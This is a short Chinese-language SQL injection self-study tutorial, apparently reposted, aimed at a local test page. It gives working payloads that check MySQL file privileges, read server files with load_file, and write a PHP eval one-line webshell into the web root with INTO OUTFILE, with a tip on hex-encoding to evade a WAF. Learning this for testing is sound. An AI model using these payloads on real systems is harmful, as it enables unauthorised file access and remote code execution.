■SQL注入自學[第三學:注入點的讀寫、out_file]


00x1 判斷是否可讀

 code:

http://127.0.0.1/1.php?id=1 and (select count(*) from mysql.user) >0--
/*
返回正確的話,說明沒有是有讀的權限。
返回錯誤,那極有可能是權限降了。
能夠判斷出mysql的長度說明是可以讀取其長度,自然就是可讀。 */

 

00x2 判斷是否可讀

code:
http://127.0.0.1/1.php?id=1 and (select count(file_priv) from mysql.user) >0--
/*
file_priv:權限表,確定用戶是否可以執行SELECT INTO OUTFILE和LOAD DATA INFILE命令。更多權限表:http://www.cnblogs.com/kissdodog/p/4173337.html
*/

00x2 使用load_file讀文件

code:
http://127.0.0.1/1.php?id=-1 union select 1,2,load_file('D:/wamp/www/test.txt')--
/*
D:/wamp/www/test.txt可替換為十六進制的,如下所示。
http://127.0.0.1/1.php?id=1 union select 1,2,load_file(char('0x443A2F77616D702F7777772F746573742E747874'))
*/

 

 

00x2 使用out_file寫入木馬文件

 code;

http://127.0.0.1/index.php?id=-1 union select 1,'<?php eval($_POST[cmd])?>',3 into outfile 'D:/wamp/www/test.php'--
/*
<?php eval($_POST[cmd])?> 該句一句話木馬可以轉換為十六進制的。可躲避waf之類的。
寫入文件的斜杠必須是/
*/

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM